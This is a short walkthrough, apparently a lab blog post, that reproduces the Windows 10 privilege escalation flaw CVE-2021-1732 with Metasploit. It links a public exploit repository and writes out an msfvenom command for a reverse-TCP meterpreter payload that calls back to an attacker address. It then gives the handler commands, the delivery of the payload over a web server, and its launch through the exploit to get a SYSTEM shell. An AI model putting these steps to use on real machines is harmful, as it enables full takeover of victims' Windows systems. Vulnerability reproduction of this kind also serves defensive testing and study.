(CVE-2021-1732) Combining a Win10 Local Privilege Escalation Vulnerability with MSF to Obtain System Privileges

Environment Description

Background and Vulnerability Description

• In the first half of 2021, the “Manlinghua” APT group used the Windows kernel privilege escalation vulnerability (CVE-2021-1732) in attack campaigns. When win32kfull!xxxCreateWindowEx is called during window creation, a user-mode callback occurs, disrupting the function's normal execution flow and ultimately causing out-of-bounds memory reads and writes in kernel space.
• This vulnerability can elevate the privileges of a regular local process to SYSTEM privileges.

Severity

• High (CVSS score: 7.8)

Affected Versions

• Refer to the official Microsoft page at https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-1732, as shown below:

Reproduction Process

EXP Preparation

• The EXP download address is as follows:

https://github.com/KaLendsi/CVE-2021-1732-Exploit

• Successfully compiled locally with Visual Studio 2021, as shown below:

Windows Version Detection

• Press WIN+R to open Run and enter the winver command to view the current version. As shown below, it is an affected version:

Generate a Payload with MSF

msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp lhost=172.16.106.67 lport=2336 -f exe > cve_2021_1732_test.exe

Start a Listener with MSF

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 172.16.106.67
set lport 2336
exploit

Deliver the Payload to the Victim Host

• I started an Apache service locally, placed the Payload in the web directory, and had the Win10 host download the Payload over the web.

Combine the Local Privilege Escalation Vulnerability with the MSF Payload

• Open powershell and use the previously compiled privilege escalation EXP to execute the MSF Payload, as shown below:

• As shown below, a meterpreter session was obtained with System privileges.